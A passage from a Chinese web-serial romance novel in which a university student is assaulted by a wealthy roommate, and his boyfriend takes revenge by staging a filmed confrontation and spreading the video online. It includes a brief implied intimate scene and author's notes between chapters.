沈泱等了一会儿,见江措没有任何的动作了,他翻了个身,两条纤细笔直的小腿暴露在空气里,盯着拿起了一本机械原理翻看的江措。 不是其他同学变黑了,而是江措来到低海拔地区二十多天,真的白了一丁点,虽然还是麦色的皮肤,但在刚结束军训的大一新生里,黑的没那么出众了。 江措眼睛狭长,眼角往外延伸的弧度锋利,眉骨到鼻梁的轮廓深邃刚毅,冲击性和震慑性都很强烈。 他穿着柔软的纯黑色棉质睡衣,因为是买的打折款,没有合适的尺码,这件睡衣明显小了一点,盘纵的青筋沿着跳动的血管没入紧绷的睡衣领口。 沈泱盯着他看了一会儿,心口忽然有点发热,他舔了舔唇,把领口扯松了一点。 或许是沈泱的注视很明显,江措的目光从书页转移到沈泱的脸上。 沈泱咳嗽了一身,目光瞥过某个地方,似乎没有其他的想法,“江措,你的鱼还没有下去诶。” 江措盯着沈泱看了片刻,讲话道:“过了一会儿就下去了。” 沈泱:“……” 他裹紧凉被,在大床上翻了个身,背对着江措盯着窗外,过了几分钟,他连人带被子翻了个身,眼神还没有触及到江措的脸,淡蓝色的凉被一把被人拽开,一具熟悉的属于成年男性的身体压了下来,笼罩在沈泱的上方,视线顿时昏暗。 江措没有下一步的动作,他只是掐住了沈泱的下颌,再一次提醒他:“沈泱,任何事我都不喜欢你瞒着我,包括你的欲望。” “刚刚那个时候你应该告诉我,你想 和我……”他盯着沈泱,毫无顾忌地说出那两个字。 沈泱的眼睛倏然瞪大了,神色惊愕地盯着江措,江措却又问道:“沈泱,想要什么?” 沈泱红了脸,目光闪烁,“想要睡觉!!” “沈泱!”江措不乐意他的回答。 “我特别特别想要睡觉了!!” 说完,沈泱推了推江措的硬邦邦的胸膛,没推动,他气势汹汹地骂他,“江措,你这个讨厌鬼,大流氓,衣冠禽兽……” 夜色深了。 沈泱被迫又换了一个姿势,他盯着站在床下的江措,想要把眼睛闭上,汹涌的水意在他体内和体外一起流淌,他好想并上腿,却完全丧失了对自己身体的掌控权。 江措在床上向来强势,当然,他在床下之外的地方也很强势,除了他不在意的地方,可以随便沈泱想要怎么做做什么,从某些方面来讲,两个人的性格不是天生契合。 彼此的磨合会让两个人都鲜血淋漓,不是没吵过架闹过矛盾,但沈泱对江措的确有种恍若与生俱来的依赖感,而江措再一次在高原上见到沈泱,就没想过会放对方离开。 “沈泱,想要什么?” 沈泱咬着唇,就是不说话。 细密的汗水从沈泱绯红的脸颊溢出,像是窗外开的正盛的一颗石榴树。 “要,要你。”沈泱受不了了,小声啜泣着说出了这句话。 江措终于放轻了动作,亲了亲沈泱的湿漉漉的鼻尖,一切结束后,沈泱没什么力气地给了江措一巴掌,又靠在江措的胸膛上,咬着唇,细碎的声音从口腔里漫出来—— 作者有话说:二更应该在明天中午啦。 第45章 一晃两天过去了, 周日的下午,江措让沈泱把宿舍里的室友叫出来,当然不包括周一岩, 请王恒和顾宝安吃了一顿晚饭。 吃完了晚饭, 江措把沈泱送回了宿舍,周末申城降了温,空气里已有了秋日的凉意, 或许是这个原因,沈泱又把江措送到了宿舍楼下。 三个人一起去开了班会, 抱着书回到宿舍,没过多久, 周一岩竟然也回到了宿舍, 身后还跟着一个他们班的男同学, 帮他抱着一摞书。 对方把教材放在周一岩的书桌上, 周一岩打开有香奈儿Logo的黑色皮夹, 抽出一张红色钞票递给对方。 对方谄媚地笑了笑, 离开了沈泱的宿舍。 沈泱的生物钟被江措调控得很好, 就算是暑假,也要求他必须在十一点半之前睡觉。 和江措在一起的这一年多, 沈泱的睡眠质量比以前好了一些, 没那么容易惊醒, 哪怕有一些动静也可以陷入深度睡眠。 十点多学生会来查过寝,沈泱就上了床, 玩了会儿手机就睡着了。 凌晨一点半。 沈泱被一道激动的叫嚷声吵醒了, 是周一岩还没睡,他在书桌前看比赛,书桌上放着啤酒薯片零食, 电脑的声音外放,声音竟然不算小。 沈泱闭着眼睛躺了一会儿,激烈的外放比赛声传入他的耳膜里,时不时还有周一岩拿起啤酒瓶,又噔地一声将啤酒瓶重搁在书桌上的声音。 沈泱唰一下坐了起来,从上往下盯着周一岩,“周一岩,几点了啊,你不睡别人还要睡觉呢!!!” 周一岩啜了口啤酒,宿舍十二点熄灯不断电,他扭过头,盯着坐在床上满脸怒气的沈泱,哼笑一声,“你们睡觉和我有什么关系?” 沈泱深吸了一口气,重新躺在了床上,捂住了耳朵。 又过了片刻,电脑外放的声音不仅没小,似乎还被人手动调大了。 沈泱手按着扶梯下了床。 周一岩转过头。 除了电脑屏幕的光反射出来的那一丁点光源之外,宿舍里其他地方昏昏暗暗,沈泱脸却白得惊人,周一岩一时不察,被吓了一跳。 沈泱朝着他走了过来,站在了他的身后。 周一岩神色警惕,“沈泱,你做什么?” 微弱的光照耀在沈泱俊秀的脸庞上,他对周一岩笑了笑,“我也想看看这个比赛。” 周一岩挺不喜欢沈泱的,长的白事儿多骨架细,没有一丁点的男子气概,可他轻轻对他一笑,周一岩晃了晃神,暗道沈泱也没有这么讨人厌。 周一岩把视线挪回了电脑屏幕上。 沈泱不喜欢看球赛,他爹以前倒挺喜欢看nba的,耳濡目染,沈泱倒也看的还挺懂,场上的球员大部分竟然都还认识。 他盯着电脑屏幕里的比赛,眼看到了比赛最焦灼的时候,周一岩绷紧了身体,双拳紧握时,就是这个时候,沈泱迅速地拔掉了周一岩的网线。 直播节目不存在缓存,网线一断开,屏幕顿时花了下来。 “沈泱,你他妈知不知道那是最关键的时刻!”周一岩抢过沈泱手里的网线,怒骂道。 沈泱气势分毫不差,“周一岩,你知不知道现在几点了?现在凌晨两点半了,你看比赛你还故意外放那么大的声音,我凭什么不能拔你网线了,我告诉你,我忍你够久了,你以后要是……” 周一岩听着沈泱机关枪一样的指责,怒气上涌,拿起书桌上的东西就向他砸过去。 哐当一声。 周一岩外放的声音这么大,顾宝安一直没睡着,只是他一直有点害怕周一岩,不敢和他起正面冲突,王恒一开始倒是睡着了,可随着沈泱和周一岩激烈的吵嚷声传过来,王恒也被吵醒了。 意识还没彻底清醒,就看见床底下有一个人直挺挺地朝后面栽去。 鲜红的痕迹从沈泱的雪白的额头溢出来。 王恒和顾宝安两个人火速地从床上冲了下来。 凌晨四点半。 江措听见了搁在床边的手机嗡嗡地振动着,看清楚来电显示后,江措坐了起来,蹙着眉接通了电话,“沈泱?” 电话那边沉默了片刻,才响起了一声轻轻柔柔的江措。 “怎么这个点给我打电话?”江措心里忽然涌出不安。 沈泱又安静了一会儿,讲很小声的话,“江措,你能不能现在带三千块钱来五医院呀?” 九月上旬,初秋时节,凌晨五点的天空才泛起了一点鱼肚白。 江措匆匆套上一件短T来到了五医院的急诊科。 走进急诊科病房,看见里面那张小床躺着的少年时,江措瞳仁骤然一缩。 沈泱额头缠着一圈白色的纱布,脸色惨白地躺在狭窄的病床上。 沈泱没睡着,只是闭目养神,推门声响起,沈泱缓慢地掀开眼皮,“江措。” 因为直起腰的动作太快,眼前又是一片强烈的眩晕。 江措比坐在病床旁边的顾宝安更快地扶住了沈泱,额头上的青筋狠狠地鼓动了几下,哑声问道:“怎么回事?” 沈泱视线飘忽。 江措看向一旁的顾宝安。 顾宝安被江措一看,心里蓦地生出恐惧感,老实交代,“是周一岩用啤酒瓶砸了沈泱的脑门一下。” 注意到江措刹那间变得很难看的脸色,顾宝安补充了一句,“不过还好,伤口不是很严重,只是轻微有些脑震荡,医生让住院观察几天。” 已经耽搁挺久了,江措去楼下交了费,让顾宝安和王恒回了学校,独自一人留在了病房里。 沈泱一会儿说想吐,江措赶忙拿了个塑料袋过来,沈泱又什么都没有吐出来,一会儿又说自己头晕,江措又调整病床的高度,折腾了他一两个小时,沈泱拧着眉,顶着一张苍白的脸,睡着了。 一觉醒来,沈泱的精神状态好了不少,他眼睛睁开,四处看了看,过了一会儿,手掌朝着江措伸出来,示意江措把他的手机递给他。 江措没动。 沈泱自己伸长胳膊去拿手机,要碰到的时候,竟然被江措先一步抢走了。 沈泱不满地看向江措,“江措,你……” “沈泱,我真想揍你屁股!” 沈泱难以置信,“江措,你说什么?” “你屁股欠一顿揍。”江措冷声重复。 他都这样了,江措竟然还想着揍他,沈泱拿起江措刚刚去外面买的一盒纸巾扔向他,扔了纸巾不够,又扔消毒纸巾,压低了声音红着眼睛骂他,“江措,亏我刚刚还做梦梦见你帮我把周一岩揍得面目全非,结果你想要揍得是……” 激烈的运动带动了额头上的伤口,引起了身体的不适,沈泱干呕了一声。 江措连忙拿出一个干净的塑料袋,沈泱头晕脑胀,气息不均地推他骂他,“江措,你这个大混蛋,是不是来了大城市了,你看到其他漂亮的男孩子,想移情别……” “沈泱!”是很严肃的一声,比刚刚的声音凶狠了太多。 沈泱刚刚睡醒后就转到了住院部,三人间,旁边两张病床本来有细微的说话声,随着两个人吵嚷声冒了出来,那两张床忽然什么动静都没有了,像是把呼吸也屏住了。 “你还敢凶我!江措,你果然一点都不在乎我!”沈泱红着眼睛,头晕目眩地骂他。 江措深吸了一口气,“好了,别激动了,一激动你又不舒服。” 沈泱抬手给了他的脖子一下,“谁让我不舒服的。” 江措按住他不停乱动的身体,让他没受伤那侧的脑袋贴在他的胸口,嗓音沙哑,“别动了,一会儿又要恶心想吐。” 沈泱还想再动,江措粗糙的大手像是铁掌,他被迫贴在江措温热的胸膛上,过了一会儿,沈泱愤愤道:“我也不知道他竟然会拿啤酒瓶砸我的脑袋啊!我也不想挨那么一下啊,呕……你你知道我流了多少血吗?” 江措的心脏像是被一双长满了尖刺的手狠狠拧了一把,青筋鼓动,哑声道:“对不起,沈泱。” 沈泱和江措认识一年多,这似乎还是头次江措给自己说对不起,沈泱竟然都愣了一下,他想要把头抬起来看看他的神色,江措按住他,不许他乱动。 江措身上的体温透过一层单薄的布料传递过来,沈泱乖乖地靠在他的胸口,过了片刻,很小声地讲道:“我原谅你啦,你也是关心则乱嘛。” 就在这个时候,一道沈泱响了起来。 顾宝安和王恒上完了上午的几节课,不放心在医院的沈泱,问清楚沈泱现在的病房后,走了进来。 前面两张病床都不是沈泱,两个人径直走到最里面。 沈泱听到了王恒的声音,忽地一下从江措的胸口挪开。 但是在沈泱挪开之前,王恒和顾宝安就看到了最里面的沈泱和江措,还没等两个人意识到沈泱和江措过于亲密的姿势,沈泱因为太快地从江措胸前挪开脑袋,原来没什么不舒服的脑袋瞬间眩晕起来。 看到他脸色不舒服的张嘴,江措麻利地打开一旁的塑料袋,沈泱什么也没有呕出来,只是干呕了几下。 顾宝安说:“你还好吗?沈泱。” “没,没事。”江措把一旁的保温杯拧开后,递给沈泱。 沈泱漱了漱嘴,那股眩晕和恶心感慢慢地消失了,沈泱又看向王恒和顾宝安,“你们俩怎么又来了,有江措照顾我就行了。” 顾宝安说:“反正上午也没课了,我们来看看你。” 说到这里,他脑袋里浮现出刚刚看到的那一幕,沈泱明显是靠在江措的怀里的,他感觉好像哪里有点奇怪,可又说不出哪里奇怪,或许是他见得太少了。 王恒扫过病床上的沈泱,目光又掠过一旁的江措。 江措薄薄的眼皮向上掀起,两个人对视了一下。 王恒温和地朝他笑了笑。 转眼又是两天过去了。 今天早上,沈泱收到了辅导员发来的消息,说等会儿周一岩的妈妈要来探病。 沈泱蹙了下眉。 周一岩的妈妈是一个浑身名牌的女人,看起来要比实际年龄小几岁,她踩着一双高跟鞋,走进病房后,就蹙起了眉,保养得精致的手使劲儿在鼻端挥动。 辅导员说:“沈泱,这位是周一岩同学的妈妈。” 朱烟挤出一抹和蔼的笑容,“沈泱同学,真是抱歉,我们家一岩做事是有些冲动了。” 她拿出一个厚厚的红包递给沈泱,“你这两天受罪了,你的药费我们全部承担,这里面有两万块钱,是我们家给你准备的营养费。” 辅导员叫付艺,刚刚工作不久,没比沈泱大几岁,就遇到了一个同学把一个同学打进医院的事,另外一个受伤的同学还报了警,一定要告对方故意伤人。 付艺也不太喜欢周一岩,这件事百分之九十的责任在他,不过身为辅导员,还是尽可能地想大事化小小事化了。 “沈泱,你们之间只是同学间的摩擦,没到报警的地步,何况周一岩也只是一时冲动,等你回学校,我让他好好地给你道个歉。”付艺苦口婆心。 周一岩的妈妈笑了笑,笑容里带着一股轻蔑,“小同学,你可能不太了解法律,我问过律师了,你只是轻微脑震荡,轻微伤达不到刑事立案的标准。” 江措端着一碗洗得干干净净的葡萄回到了病房里。 付艺来过一趟医院,认识他,对朱烟解释道:“这位就是沈泱的哥哥江措。” 又对江措道:“江措,这是周一岩的妈妈,来替对方赔礼道歉的。” “那是两万块钱,他们家给沈泱的营养费和补偿费。” 周一岩的妈妈盯着江措,似笑非笑道:“听说你在申大计算机学院读书?” “你们院长前几天还给我们老周的秘书打电话,想要约他吃一顿饭呢。”朱烟拎着香奈儿的手包,含笑说道。 江措眯了眯眼。 朱烟扫过江措和沈泱,“我们家一岩这次是有一点不对,但听一岩说,小同学,是你先拔了他的网线的。” “还不是他大半夜不睡觉,故意外放球赛,提醒他好几遍,他不仅无动于衷,还得意洋洋。” “总而言之,这件事你们都有错。”朱烟说,“何况你只是轻微的脑震荡,轻伤都够不上,就算你们要报警告他故意伤害,或者寻衅滋事,也完全达不到刑事立案的标准。” “看你们年龄和我家一岩差不多大,我也就懒得计较你们这么不懂事了,这件事就到此为止了。”说完,她拿出手机扫了眼,又瞥向江措,别有深意道:“对了,我们老周不仅认识你们学院的院长,申城工商大学的校长还是他高中同学,沈泱还要在工商大学待四年吧。” 朱烟离开了。 付艺听到朱烟后面那一番话,明显地蹙了蹙眉,他们又不是傻子,怎么可能听不懂她话里话外威胁的意思。 但这个社会就是这样,有权有势的人总是拥有很多压迫小老百姓的资源和能力。 付艺叹口气,继续处理后事:“沈泱,江措,这件事就到此为止吧,学校也会给周一岩记过的。” “毕业后档案不会留存的过?”江措说。 付艺一哽,过了片刻,他叹了口气,无可奈何地说,“这件事你们再继续纠结,结果或许继续伤害的是你们自己。” 江措攥紧的拳头松开,“付老师,沈泱不能再继续和周一岩住同一个宿舍了。” “行,我会安排周一岩换宿舍的。”付艺也不敢让沈泱和周一岩住在一个宿舍了,这才多久啊,两个人都不是什么善茬儿。 “还有,我想要你给沈泱出一个可以外宿的证明。” “不行,沈泱今年才大一,按照规定,是不能外宿的。”付艺苦口婆心,“这也是学校为了学生们的安全考虑。” 江措:“沈泱住在宿舍,别人打进医院了。” “可是……” 江措盯着他。 付艺:“……行,可以。” 付艺离开了病房,江措在看护椅上坐下,沈泱盘腿坐在床上,若有所思道:“江措,我现在觉得顾宝安说的那些关于周一岩的事都是真的了。” “唉,我以前还觉得顾宝安太怯弱,夸大其词了,怎么会有这么恶劣的人和事呢。”沈泱年龄还小,还没见识过太多货真价实的歹毒和凶恶。 “嗯。”粗大的手指灵敏地剥掉葡萄的果皮,示意沈泱张嘴,柔软的果肉塞进沈泱恢复了气色的红唇里。 沈泱咀嚼着葡萄:“你看他妈妈盛气凌人的样子,是真的不觉得他儿子把同学打成这样应该负什么责,道歉也是居高临下,甚至还要威胁我们俩!” 江措藏在短T下的脊椎一下子绷紧了,良久后,他才放松下来,端了一个空碗接住沈泱吐出来的葡萄籽,又继续给他剥葡萄。 沈泱说:“你说他们家什么时候遭报应啊?” 余光瞥过朱烟扔在床头柜上的两万块钱,不算特别薄的一沓钱,却显而易见地昭示着江措的无能为力。 自己的心肝宝贝被人脑袋打出血,脸色苍白地躺在床上好几天,罪魁祸首仗着家里有权有势,江措都没办法逼他对沈泱说一句抱歉。 就连对方家长的道歉也带着一种高高在上的傲慢。 江措的呼吸陡然变沉了一点,很久很久之前,在决定和沈泱在一起的时候,江措就知道自己要好好赚钱,给沈泱最好的东西,可现在真的不够不够。 垂下来的黑长眼睫遮住了江措眉眼里的浓郁戾色,抬眸的时候,他语气淡然地说,“会很快的。” 他把剥好了皮的葡萄塞进沈泱的嘴巴里,沈泱看着他没有情绪的表情,目光朝周围一扫,他和隔壁床的帘子拉着,此外没有其他人。 沈泱按住江措的肩膀,忽然朝他凑近,嘴唇对上嘴唇,沈泱舌尖一顶,把葡萄喂进了江措的嘴巴里。 他眉眼弯弯地笑了起来,脸颊上的酒窝很明显,耳廓微微泛红,“是不是很甜?” 江措买的是超市里品相最好的葡萄,他自己从来舍不得吃,十五块一斤,又大又红又圆,只是他的手掌太大,饱满圆滚的葡萄在他粗糙的指腹间,显得有一丁点的玲珑小巧。 江措一眨不眨地盯着沈泱,薄唇微微咀动,青筋盘纵的脖颈上凸起的大喉结往下一滚,吞了进去。 “二十六床沈泱是吗,挂水了。”护士拿着一瓶吊水走了进来,沈泱猛地推开江措,躺在了病床上,瞥见沈泱火烧云一样的脸色,护士拿手背摸了摸沈泱的脸颊,“你发烧了?”—— 作者有话说:允诺的二更,晚上十二点左右有属于周日的更新啦。 放心,江措不会让人随随便便地欺负泱宝啦。 然后月初了,我能求一点营养液吗[求求你了][求求你了][求求你了] 第46章 周四上午, 沈泱各项体征都确认正常后,办理了出院手续,第二天江措先将沈泱送到校门口后才去了隔壁申大。 一晃一周多过去了, 沈泱虽然每天晚上回家里睡, 但因为周一岩搬离了那个宿舍,沈泱没搬离宿舍,他东西都留在宿舍里, 中午的时候,可以在宿舍里午休。 而没有了周一岩, 顾宝安勤快,王恒有洁癖, 三个人虽然来自天南地北, 相处的其乐融融, 沈泱还挺乐意在宿舍里和他们一起待着的。 转眼到了百团纳新的这一天。 沈泱来宿舍里找了顾宝安和王恒后, 三个人一起出发去南广场, 距离沈泱脑袋开瓢过去小半月, 沈泱额头的纱布早取了, 线也拆了,他皮肤嫩, 却不是容易留疤的体质, 额头的伤口还剩一些淡粉色, 估计还要两个月才能彻底痊愈。 不过粉色伤疤被刘海挡住了,不太引人注意, 就算掀起刘海, 沈泱也不觉得丑。 沈泱看到一个展示着柯南海贼王各种动漫的帐篷,仰头一看,贴着动漫社三个大字。 “学弟, 要加入我们社团吗?”黎虹看到棚前来人了,微笑着把社团的宣传单递给沈泱,“我们社团活动丰富又轻松,要不要考虑一下。” 沈泱接过宣传单,抬起头说了一声谢谢,毫不夸张地说,他抬头看过来的时候,黎虹觉得自己的眼睛像是受到了神的洗礼,竟然有这么漂亮的少年,皮肤好的看不见丝毫瑕疵。 沈泱扫了下宣传单,他对看动漫有兴趣,加入社团还可以赚一点社会实践的学分,他问王恒和顾宝安:“我决定加入动漫社了,你们俩要一起吗?” 王恒和顾宝安双双摇头,他们俩除了家喻户晓的动漫,没看过其他的东西。 黎虹的室友是校广播站的负责人,也是某配音社团的策划后期兼代码宣传,跟着对方待了两年,在大学之前完全不知道网配这个东西的人,也听了好几部她室友做的剧,也学会了不仅关注人的长相,也挺关注对方的声音。 好看的脸和好听的声音往往很难聚在一起。 但这个叫沈泱的学弟竟然有不输给长相的美貌嗓音。 沈泱填好入社申请单后,按照学姐的吩咐,加入了他们社团的新生群,转过身陪王恒和顾宝安寻找他俩感兴趣的社团。 不远处传来一阵吵嚷声。 什么八卦? 沈泱连忙小跑过去看热闹。 “什么叫我撞的她,长得这么丑,我碰她一下都倒了大霉了。”人群中央的赫然是周一岩,穿一件Logo很明显的名牌外套,身边一个女生把另外一个摔倒了的女生扶起来,气得双脸通红,“你是厕所投胎吗?一张嘴就臭气熏天!” “你他妈的骂谁是厕所投胎呢?”周一岩勃然大怒,瞬间抬起了手。 竟然还敢对女孩子动手。 沈泱挽起袖子正要冲上去,一个距离两个女生更近的高大男生一手掌推开他,“你一个男人欺负人家女孩子,你他妈是不是男人!” “他当然不是男人了。” 听到这个声音,周一岩扭过头,沈泱又不怕他看,那一次是他没有防备,这次周一岩要是敢对他动手,看他不先给他两巴掌。 周一岩目光凶恶地盯着沈泱,沈泱不屑地瞪着他。 南广场的大多数人都是大一新生,刚刚结束军训半个月,大部分学生的皮肤还没有恢复到军训之前,沈泱的冷白皮在人群中白得惊人,配着他一双瞪大的杏眼,周一岩喉间涌起一阵怪异的感觉。 暗骂了一声恶心,周一岩挥开身旁围观的同学,沉着脸大步离开了南广场。 沈泱见状,和人群一起散开了,沈泱抱怨道:“我刚刚都听见有几个人认出他是我们电子商务的同学了,我都觉得丢脸。” 顾宝安道:“没办法,谁让我们运气差呢。” 沈泱结束完社团招新后,去隔壁学校找江措。 沈泱在图书馆外等着江措。 初秋时节,银杏泛黄,金子般的落叶吹拂在少年们的肩头,被沈泱不在意地拂掉,他和江措并肩朝着不远处的食堂走去。 沈泱侧着头,和江措喋喋不休地讲他加入了动漫社,又讲顾宝安加入了社工社,王恒加入了游戏社,最后讲不开心的事,“我们今天竟然又看到周一岩了,你知道他多么过分吗?” 沈泱把周一岩的话重复了一遍,“真希望他早点倒霉!” “不久,很快了。”江措垂了垂眼睫。 转眼,又过了两三天,这天晚上,某装修奢华的会所包间里。 周一岩靠坐在黑色的真皮沙发上,身旁是两个认识的酒肉朋友,房间里烟雾缭绕。 周一岩两只肥短的手指夹着一根烟,包厢门被人推开了,几个衣着暴露的女孩子走了进来。 一个女生在周一岩身旁坐下,指甲涂着亮晶晶的粉色,她端起茶几上的鸡尾酒,柔软的胸膛贴近周一岩,“周少,今天不开心吗?” 周一岩接过女生递过来的红酒,仰起头,一饮而尽。 浓郁的香水味道席卷鼻端,周一岩却没有动手动脚,“你们这里有……” “嗯?”女孩子娴熟地问道,细嫩的手指滑过男人的下颌,娇声道,“有什么呀?周少?” 脑袋里再一次浮现那张无所顾忌的脸蛋,周一岩莫名其妙地蹙了蹙眉,“没什么。” 凌晨一点,周一岩离开了会所。 他醉醺醺地走出大门,打着呵欠来到了停车场。 胳膊始料不及地被人撞了一下,周一岩原来就没站稳,被这猝不及防地一下,周一岩摔了结结实实的一跤。 周一岩横行霸道太多年,从来就不是吃亏的性格,横眉怒道:“他妈的谁啊?眼睛长到屁股上了?” “对,对不起,我不是故意的。”一道怯弱的声音传了过来。 周一岩抬起头。 是一个非常清纯的女孩子。 瓜子脸,大眼睛,长头发,白色连衣裙,清纯又漂亮。 是周一岩最心动的审美。 周一岩的初恋就长这样,清纯干净柔弱,只是不喜欢他,追了她好几个月对方都心有所属,不过最后还不是被他在床上玩烂了。 现在这年头,女孩子都追求什么独立自我,个个凶得和母老虎一样,眼前的这个女生,清纯柔弱,是非常少见的类型了。 周一岩拍了拍屁股上的灰,这几天脑海里老是浮现一张男生的脸,哪怕今晚上来了酒吧,周一岩都没有泄火的心情。 “你多少钱一晚,一千够了吗?”扫过女生清凉的穿搭,两条细细的胳膊暴露在外面,周一岩醉醺醺的脸上露出放荡的表情,“走吧。” 他娴熟地拉拽着女生的手腕,摇摇晃晃地朝着旁边的法拉利走去。 “你误会了,先生,我不是做、做那种事的。”女生脸色惨白,慌乱地妄图甩开他的手。 “穿成这样?还不是来卖的?”周一岩嗤笑一声,“两千够了吗?” “先生,我真不是来卖的,我是来找人的!”女生又用力地甩了甩捏着她手腕的手臂,眼看对方要拉着她上车了,女生反抗得更加剧烈了。 除了初恋外,周一岩从来没有过得不到的女人。 怎么说呢,习惯了女人像浪潮一样朝他涌过来,冷不丁又遇见了一个抗拒不从的,周一岩盯着女生楚楚可怜的脸,欲望忽然大涨。 他抬手朝女生的屁股摸了一把,强行把她朝法拉利的副座推上去。 “你干什么!”身后忽然袭来一阵大力,疏于锻炼的周一岩猝不及防,被男人从车门前拽开。 “你他妈的竟然敢欺负我的女朋友!”男人怒道,一拳朝着周一岩的小腹砸了过去,眼看着恼怒的男生又竖起了拳头又要朝他砸了过来,周一岩一把朝他推过去。 男人比周一岩瘦弱,力气也并不大,一推之下,竟然将对方推倒在了地上。 小腹隐隐作疼,周一岩长这么大,就没怎么吃过亏,更别说挨打了。 他屁股往上一抬,坐在男人的小腹上,恶狠狠地朝他的脸上砸上去。 女孩子跌跌撞撞地从车舱里跑出来,连忙吼道:“别打了,别打了。” 她想拽开发怒的周一岩,周一岩一巴掌将女生推开,女生泪流满面地摸出手机,“我,我要报警了,我要告你故意伤害,寻衅滋事。” 周一岩一拳砸在男生的鼻梁上,鲜红的液体涌出来,见女生似乎真的在拨打电话,周一岩站了起来,踹了一脚躺在地上呻吟的男人,周一岩得意洋洋地说,“报警,你报啊?” “你知道我爸是谁吗?我爸是周峰,别说我打人了,就算是我打死了人,谁敢关我?” 又踹了一脚地上的男人,周一岩暗骂了一句晦气,再看旁边鼻涕眼泪糊了满脸的女生,忽然觉得她好恶心,也没什么泻火的欲望了,转过身,大摇大摆地上了那辆大红色的法拉利。 凌晨两点半,江措搁在床头柜的手机嗡嗡地震动了两下。 没开灯,江措睁开眼,拿过手机,收到了一个二十分钟的视频。 这天是周三,沈泱上午满课。 沈泱和江措在小区外面吃了早餐,江措骑着自行车把沈泱送到了工商大学的四教楼底,又骑着车去申大。 今天上午的课是专业基础课,老师性格严厉,沈泱还算认真地听完了课。 学校里并没有任何风起云涌。 沈泱发现周一岩在网上火了是第二天的英语课结束,好几个同学朝某个方向看过去,窃窃私语。 她们看方向恰好是周一岩的位置。 周一岩虽然和3B312宿舍的几个同学决裂了,在班上因为横行霸道的性格,人缘不是特别好,但并没有被人孤立,反而还有几个围着他讨好的同学。 无他,周一岩出手大方,时不时就请客吃饭。 顾宝安用胳膊肘捅了捅沈泱的胳膊肘,把手机拿给了沈泱。 竟然是一则热搜新闻。 新闻的主角沈泱不陌生,就是和他有仇的周一岩。 沈泱捧着手机,眼睛瞪圆了。 视频里,微胖的男人压在干瘦的男人身上,一下又一下,凶残地朝男人挥打,柔弱的女孩拿着手机说要报警。 喝了酒的男生醉醺醺地站了起来,大言不惭气势凌人地说:“你知道我爸是谁吗?我爸是周峰,别说我打人了,就算是我打死了人,谁敢关我?” 下面的新闻评论竟然超过了一万条。 最高赞的赫然是这样一条评论,【竟然又是这个畜生,他仗着他爸是周峰,无证驾驶撞死了我妹妹,拘留了一周就放了出来】 顾宝安压低了声音道:“沈泱,你知道吗?不仅是百度,□□微博网易各类头条都是这件事,我觉得周一岩要倒霉了。” 周一岩昨晚没睡好,上了课就趴在课桌上补眠。 总觉得有人的眼神一直落在他身上,周一岩打了个呵欠,抬起了头,那些望着他的同学目光唰一下挪开。 除了沈泱的眼神还落在他身上。 两人目光对视,沈泱鼻腔里挤出一声重重的哼,神色不屑。 周一岩转过头,自己的两个小跟班低着头看着手机,不知道在嘀咕什么,见他看了过来,神色顿时变得慌张,手忙脚乱地去捂桌子上的手机,挤出讨好的笑,或许不仅讨好,笑里还有一丝微妙。 其他的同学也三三两两地凑在一起,盯着手机看。 周一岩心里闪过一丝不好的预感,朝两人伸出手,“在看什么?给我看看。” 一个男生迟疑道:“周,周哥,你真的要看啊?” 周一岩懒得听两人废话,霍然从两人手里抽出了手机,眼皮一垂,眼神落在了引起了网络海啸的新闻上,一目十行地看完新闻后,周一岩脸色瞬间铁青。 他抬起头,周围望着他的同学忽然挪开了眼神,转过头,和旁边的同学议论纷纷。 “江措江措江措!你知道吗?周一岩的报应终于来了!他今天下午都没来上课了!” 沈泱趴在沙发上玩手机,听到开门声响了起来,两只细细白白的脚塞进拖鞋里,沈泱脚步欢快地朝着玄关走去,“你看到那个新闻了吧,就是周一岩说他爸是周峰的那个新闻!!” “顾宝安说的话真的没掺假,现在还有人趁着他被全网痛骂的风气举报他无证驾驶,撞死了他们的女儿,竟然被拘留了七天就放出来了!!” 江措听沈泱说完,道:“我知道。” 他将电脑包放在玄关上,“视频里的男生和女生都是我雇的人,也是我把视频放在了网上,煽动了大家对特权阶级的恨意。” 江措花了很多时间,寻找到了对周一岩恨之入骨却无能为力的受害人家属,又针对周一岩的了解,亲自制作了那个他必然会跳下去的局。 江措是没有权势在沈泱受到伤害的时候第一时间还击回去,让对方付出更惨重的代价,不过不代表他会忘记沈泱脸色虚弱躺在床上的样子。 沈泱惊愕的瞪大眼,过了半晌后,才说了一句话,“你,你什么时候做的啊?” “很多时间。”江措掀起沈泱额头的刘海,淡粉色的伤疤未能痊愈,用手指轻轻地碰了碰,蹙眉道,“还疼吗?” 沈泱摇摇头,“早就不疼了。” “嗯。” 江措盯着沈泱看了一会儿,忽然用力地抱住了他,哑声道:“沈泱,希望你一辈子都不要受伤了。” 想到半个月前沈泱虚弱地躺在病床上的样子,江措的心就会被疼得像是硬生生的撕开了一个口子。 沈泱先是震惊,震惊于全网的腥风血雨都是江措挑起来的,而且如果不是他自己承认,就像是一场天衣无缝的意外,富二代习惯了滥用权力所以无法无天。 后腰被人紧紧地按住,沈泱回过神,听到江措的话,心里在这一瞬间像是抹了蜜一样甜滋滋的,脑袋也埋在了江措的肩膀上。 江措陪沈泱看了一部电影,电影看完,他今天晚上没有工作和自学了,很早就上了床,沈泱从卫生间洗漱出来,江措就已经睡着了。 他最近的确太忙了,忙着学习编程,用最短的时间学会人家四年,甚至六七年才能学会的知识技术,还要抽出时间和精力针对周一岩设下一个他无论如何也逃不开的死局,这半个月平均睡眠时间只有三个小时。 沈泱洗完澡,走到床边,发现江措竟然已经睡着了,沈泱盯着江措脸上不明显的倦色,在床边蹲下,捧着脸盯着江措目不转睛地看。 总是他睡觉的时候江措还没睡,他起床的时候江措不知道起床多久了,沈泱很少有机会盯着江措睡觉的样子看。 接下来的几天,他们班最热闹的新闻就是周一岩的事。 周一岩这件事闹得很大,全网公愤,他爹哪怕在申城一手遮天,事到如今,也自身难保,何况还能保护他那无法无天的儿子。 周一岩自从新闻爆炸传开的当天下午就没有再来学校了,有人说他被拘留了,有人说他已经被学校开除了。 周一岩的事彻底结束还要一段时间,而几天的热闹后,大家的生活也暂时恢复了平静。 沈泱晚上要回他和江措的家里睡觉,如果上午和下午都有课,上午上了课后一般就留在学校里。 毕竟宿舍到教学楼还是比从家里到教学楼近一点。 他学校里的宿舍没退,中午和顾宝安王恒在食堂里吃过晚饭后,沈泱回到了宿舍。 他对面的那张床彻底空了下来,他们三人才来学校不久,东西也不多,空置的书桌和单人床上也没有放他们的东西。 宿舍房门被人敲了两下。 沈泱走过去打开门。 